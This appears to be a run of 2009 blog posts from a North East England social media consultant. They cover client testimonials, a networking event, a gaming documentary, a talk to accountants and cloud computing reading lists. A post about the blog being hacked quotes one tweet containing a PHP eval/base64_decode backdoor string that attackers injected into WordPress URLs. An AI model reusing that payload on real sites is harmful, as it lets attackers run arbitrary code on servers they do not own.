Acted as a mentor, explaining how Social Media tools could help publicise & run the event
Set up and configured a number of tools to publish information about the event, and capture any multimedia content that was created
Wrote blog posts, tweeted, and ‘live blogged’ the event itself (i.e. created a real-time & interactive record of proceedings).
Provided project management and community management advice
What they said
Hannah Bryan, Director of event management company Sailor Girl Limited said:
Justin was a pleasure to work with. I was given three weeks to put on this event and Justin was a massive support from the initial brainstorming to the post-event feedback capture and close. The ‘live blogging’ in particular was a real hit as many of the project partners were not able to attend in person and so attended ‘virtually’.
CONNECT North East (CNE) brings together high growth technology businesses with those who are interested in funding them. Typically these businesses are start-ups, often run by young entrepreneurs who are very comfortable using digital technologies to communicate and collaborate.
What SCL did
Created a social media strategy for CNE, and provided ongoing tactical advice
Set up various online tools, e.g. blog, Twitter & YouTube accounts; published regular blog posts; ran the Twitter account; and monitored what was being said about CNE online.
Participated in existing online forums to help increase awareness of CNE
Worked with PR agency and CNE team to re-package key messages for Social Media audience
Shot, edited, and published video of key sessions – so those who couldn’t attend events might learn through viewing the material online.
“Souter Consulting added a very significant dimension to our marketing activity: contemporary, effective and insightful communication, tailored to a technology-savvy audience in a medium which they value. We recommend Souter Consulting highly.“
Quick plug for this event by organised by Codeworks Connect this coming Thursday.
As credited by Herb Kim at the recent TEDxNewcastle, I am helping to ‘produce’ the evening – i.e. Herb and the team were kind enough to adopt my rough concept for the evening – and organise it! :-D
Aims (from my perspective):
Bring Social Media to a wider audience and into the mainstream of the North East
Grow the pie for various players in this space – yes, we’re in competition, but that doesn’t mean it’s a zero-sum game out there
By using these tools, Regional players can help increase turnover and reduce costs.
The following is a cut-and-paste from the Think and a Drink website [n.b. link is probably time-limited].
Date: Thursday 29th October 2009
Time: 17.30 until 22.30
But what’s the truth about social media? Can they really help your business? And how, exactly?
Everyone and anyone is talking up social media right now. Asking you to "join the conversation", "engage" with your customers rather than shouting at them. And telling you that if you don’t use these tools you’re at a major disadvantage.
At October’s Think and a Drink event, you’ll get to see social networking in action and learn about the science behind it. A selection of social media experts – including ‘Twitchhiker’ Paul Smith and Stephen Davies, one of the UK’s most popular PR bloggers – will give you an insight into how social media can be used, based on their knowledge and experiences.
Who’s speaking?
• Professor Malcolm Young. A professor at Newcastle University, Malcolm’s research expertise lies in complex systems analysis and informatics. He was one of 18 scientists worldwide nominated by The Sunday Times as the "Brains behind the 21st Century".
• Paul Smith. A freelance journalist, copywriter and new media "ideas man", Paul is perhaps best known in social media circles as ‘The Twitchhiker’. Together with Newcastle-based developer Jon Nairn, Paul recently launched Never Odd Or Even LLP, specialising in mobile application development.
• Stephen Davies. An online public relations specialist and managing director of 3W PR, an online PR and social media agency based in Sunderland. He also writes PRblogger.com, one of the UK’s leading PR blogs.
• Jason Brownlee. Prior to launching Dollywagon Media Sciences, Jason was the founder and research director of Other Lines of Enquiry, a successful media research consultancy. He has developed several new media research technologies, including eye-tracking, SMS surveys and online media engagement testing.
• Justin Souter. An experienced, customer-facing consultant who recognises the wider context for IT solutions. Justin recently started his own business, Souter Consulting, which offers advisory and consultancy services to customers who want to maximise the return on their technology investments.
• Armin Tali?. Armin has spent the last seven years as a designer, project manager and new media practitioner, most recently putting his experience to use as the community manager for revolutionary web video specialists Quick.tv.
Want to be a guinea pig?
Good. Because if you come to October’s Think and a Drink, you won’t really have a choice. During the event we’ll be running an exclusive networking experiment run by Jason Brownlee of Dollywagon Media Sciences.
Armed with a Think and a Drink delegate badge, some business cards and your sparkling personality, you’ll be ready to experience 3 genuinely useful 60 second business meetings.
The Think and a Drink delegate badges will have 3 names on the back with 3 highly relevant people you are due to meet (and in what order). It will also tell you what you are meeting to discuss and where you will meet – the venue will be split into ‘zones’.
Each meeting will last for 60 seconds. That’s long enough to put a face to a name, break the ice and identify your common interests. You can then arrange to meet later in the evening, perhaps with a relaxing drink in your hand.
After 60 seconds a bell will ring and you’ll dash off to your next meeting. At the end of the speed networking session you will have made 3 new contacts with experience of a specific issue or challenge that you stand to learn from.
We will learn all the information we need to from your registration form.
Register today
Places for Think and a Drink events usually run out quickly. So book yours today at www.thinkandadrink.com
If you have any questions please call Ellie Silson on 0191 556 1127 or email ellie.silson@codeworks.net.
P.S. If you’re coming from Middlesbrough you can hop on a free bus we’re running to and from the event. Please indicate so when booking.
So, hope to see you there and good luck with the networking!
Second Skin takes an intimate look at three sets of computer gamers whose lives have been transformed by online virtual worlds. An emerging genre of computer software called Massively Multiplayer Online games, or MMOs, allows millions of users to interact simultaneously in virtual spaces. Of the 50 million players worldwide, 50 percent consider themselves addicted. From individuals struggling with addiction to couples who have fallen in love without meeting; from disabled players whose lives have been given new purpose to gold farmers, entrepreneurs and widows, Second Skin opens viewers’ eyes to a phenomenon that may permanently change the way human beings interact.
In March 2008, Second Skin premiered opening night of SXSW. Without any news of a theatrical or DVD release, Second Skin landed extensive coverage in Newsweek, NPR, Wired, BBC, The Dr. Phil Show, Boston Globe, Variety and dozens of other major media outlets. Second Skin was also voted the #4 Documentary of 2008 by internet juggernaut Ain’t It Cool News.
This August, Second Skin will become the first widely released movie about virtual worlds- a movie for the 50 million gamers who spend most of their time in virtual worlds, and all those curious to understand this phenomenon.
[btw slightly peeved that I was at SXSW and missed it!]
Trailer
Eye-opening – even for a trailer! Looks like a balanced view of the whole phenomenon.
Potential Christmas present?
If anyone would like to buy this for me for Christmas, here is the link ;-D :
Mega quick post (that I may well update) to capture any comments you goodly people might have about this preso.
The story is that I have been invited to speak at the DFK UK & Ireland Annual Conference on the 2 October at the Marine Hotel in Troon (www.barcelo-hotels.co.uk/marine-hotel/)
This is my draft presentation to 50 Accountants to give them an intro to the Why’s and Wherefore’s of Social Media.
UPDATE: The presentation is up to slide 44, and the rest are stats or ‘off-cuts’. Many props to Emily Coltman for input re Acountants who ‘do’ social media.
I’ve no idea who sent me this link, probably some well meaning soul on Twitter but the embedded Slideshare presentation is worrying. Stuffed with out of date ’stuff’ like on overfull suitcase, it takes the wrong angle on so-called social media, a term I detest, for accountants. It demonstrates a lack of understanding about what makes this style of audience tick. It’s hard enough to get professional accountants to understand the world of marketing, social media as presented here will blow their heads off.
Instead, can I suggest that those who are curious steer away from the consumer facing spiel and think more about communications, internally at first and how sharing information might better serve the practice. Professionals should be looking for ways to better collaborate both internally and among their communities.We’re starting to see that at ion. And it’s not about using these tools as direct marketing tools or gimmicks but about the indirect effects that arise out of your efforts at supporting those around you through the stories you tell.
But above everything, please don’t see this as any quick fix. Making these things work takes time.
Interesting points & I need to update the deck asap with the gist of this, and also from Phil Richards (see comments).
I’ve been invited to take part in a roundtable event by RMT – my accountants.
This is an excerpt from the invite:
Getting the north east trading online @ RMT Gosforth on the 24th Sept 09
The aim of the day is to discuss how we can help get more north east based business trading online.
Cut through the mystery of trading online and dispel some of the myths, many of us take our knowledge for granted!
I will need to have a think about this and collect my thoughts – but please suggest anything you want me to raise on the day.
‘Trading online’ – to my mind – is about using the Web to market, sell, and serve customers. I suspect the ‘answer’ will be quite complicated and ‘multivariate’!
I believe there is a local newspaper involved, and also some people from various ‘grown-up’ industry bodies – so please chip in!
Agenda
There are two sessions, either side of lunch:
Session one – online business issues
Session two – develop a strategy to get the north east online
Further background:
If you could all think about your experiences of businesses that you have dealt with, which trade online and those that don’t, and try to identify any key issues.
Please bring to the table anything you think might be hampering online trade in the region, and things that might help improve it.
If you raise it, I’ll do my best to mention it – and then blog the upshot.
UPDATE 21/9/09: I thought I’d dig out the PDF that Peter Moran mentions and publish it through Scribd.com and hence make it more accessible…
This is the second of three planned posts to bring together some useful introductory material around Cloud – designed to give a balanced view, and cover the upsides as well as the challenges (e.g. security):
Because these are written works, necessarily there is more scope for detail and balance. These appear to be surprisingly good resources (well, *I* was pleasantly surprised).
Background papers
Draft NIST Working Definition of Cloud Computing v15
“The methodology for the Rackspace Hosting survey research, which was conducted between mid-October and mid-November of 2008, involved 1,500 US- and UK-based small- and mid-sized companies.
Approximately 36 percent of survey recipients responded to the questions.”
Sun Microsystems’ take on Cloud. Given Larry Ellison’s seeming contempt for Cloud (as per the previous Cloud post), it will be fascinating to see how Oracle progresses from a tie-up with AWS – to more fully integrating Sun & its expertise.
It’s 2/3rds Cloud intro & 1/3rd Sun product plug, but still a worthwhile read.
I’m whanging this in here for the purposes of balance, but arguably not as well developed as the other documents here. Suggestions for a better doc, anyone?
For those of you who follow me via my @souterconsults account, you will have seen me have a paddy on this Friday last. That’s because my WP instance got hacked. Meh :$
So, I thought it would be useful to update anyone interested with a quick run-down, as it sets the scene for any future developments (like a complete re-build: bah).
I’m setting out here:
List of tweets, which pretty much explain what happened
Brief notes of more detail
Other links, if they’re not in the first two sections
Actions. Bah
Tweets
argh, wanting to publish my Cloud vids from YouTube, but WP is putting %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ on URL 3:15 PM Sep 4th from twhirl
ok, I’ve switched off the navigation on the site & parked links to comments, archive, & recent posts to help avoid people getting borked 4:02 PM Sep 4th from twhirl
I’m one of many who sees Cloud Computing as a major industry trend, which could be very disruptive [or then again it could all be hype ;-D].
This is the first of three planned posts to bring together some useful introductory material around Cloud – designed to give a balanced view, and cover the upsides as well as the challenges (e.g. security):
Sometimes I’m not very good at explaining things – so the plan is to let some other people do it instead! Apparently it was Bernard of Chartres who first talked about “Standing on the shoulders of giants” – and I am doing this here :-D.
rPath takes the confusion out of cloud computing with this humorous animation in plain English. Visit rPath.
Cloud Computing Explained
Confused about the term “Cloud Computing”? Want to be “with the times” when you talk about new technology buzzwords? This video boils down a section of Cloud Computing, that of Cloud Infrastructure and Cloud Hosting in a way that everyone can understand!
Industry pundits / luminaries seem to have differing views about Cloud:
Some have ‘a great face for radio’ or just work better in print
Others seem to have mastered the art of presentation being more important than reality ;-D
However, there is definitely some good stuff in here, e.g. Kevin Marks of Google is v. interesting
IBMers on How Cloud Computing Will Make IT Easier
IBMers speak about their clients’ issues and how IBM cloud computing solutions have helped make IT easier for their businesses. Cloud computing offers a dynamic infrastructure that makes web services immediately accessible, allowing companies to grow and to do business more quickly and at lower cost.
30%-50% of *all* servers are dedicated to test, yet they only have 10% utilisation – Marie Wieck
In the software development process, 50% of the effort on average is spent in Test; in tests, 40-50% of the effort is spent in setting up and tearing down test systems – Kristof Kloeckner
Cloud Computing – the benefits, from Salesforce.com
“They would say this, wouldn’t they” – see for yourself. [What about the downsides? – Ed.]
Steve Ballmer on Cloud Computing
A thankfully brief and concise take on Cloud from the Boss of Microsoft.
Forrester
Introduction & scepticism combined! YouTube intro blurb [29 September 2008]:
CAMBRIDGE, Mass. — While cloud computing is bringing enormous power to large and small organizations, the hype around the trend is “over blown,” says Forrester VP and Principal Analyst Frank Gillett. I interviewed him on Wednesday afternoon on the MIT campus.
He told me that the whole movement has lead to “cloud envy” with companies branding existing services by “cloud washing” — using “cloud spray,” he says.
Earlier this month he published a report on the subject.
Seems like Oracle CEO Larry Ellison is one of big skeptics over the cloud gazing, as Dan Farber over at CNET News.com writes tonight. Dan moderated a panel on cloud computing earlier this week at Technology Review EmTech conference.
Larry Dignan at ZDNet wrote earlier this month that cloud computing as a term has become meaningless.
– Andy Plesser, Executive Producer
Gartner
Frank Kenney, Research Director, Thomas Bittman, Distinguished Analyst, and Daryl Plummer, Managing VP and Gartner Fellow, discuss the risks and rewards of Cloud Computing.
I’ve got to say there aren’t enough sceptical voices that could bring more balance in this debate. However, Larry does a cracking job of making up for everyone else!
Larry Ellison calls out Cloud Computing
This is more of a podcast, but is actually rather an apposite rant about fads / bandwagons in the IT Industry.
Worthwhile listening to if you don’t believe all the hype! ;-)
This is a temporary post that was not deleted. Please delete this manually. (55c01edd-484c-440c-9f6d-94eaeb884579 – 3bfe001a-32de-4114-a6b4-4005b770f6d7)
UPDATE: Oops! I use Windows Live Writer, and was pretty much doing what it says above. It’s gone out via Twitter, so in case anyone’s wondering – you now have your explanation! ;-)
Justin was a pleasure to work with. I was given three weeks to put on this event and Justin was a massive support from the initial brainstorming to the post-event feedback capture and close. The ‘live blogging’ in particular was a real hit as many of the project partners were not able to attend in person and so attended ‘virtually’.
CONNECT North East (CNE) brings together high growth technology businesses with those who are interested in funding them. Typically these businesses are start-ups, often run by young entrepreneurs who are very comfortable using digital technologies to communicate and collaborate.“Souter Consulting added a very significant dimension to our marketing activity: contemporary, effective and insightful communication, tailored to a technology-savvy audience in a medium which they value. We recommend Souter Consulting highly.“
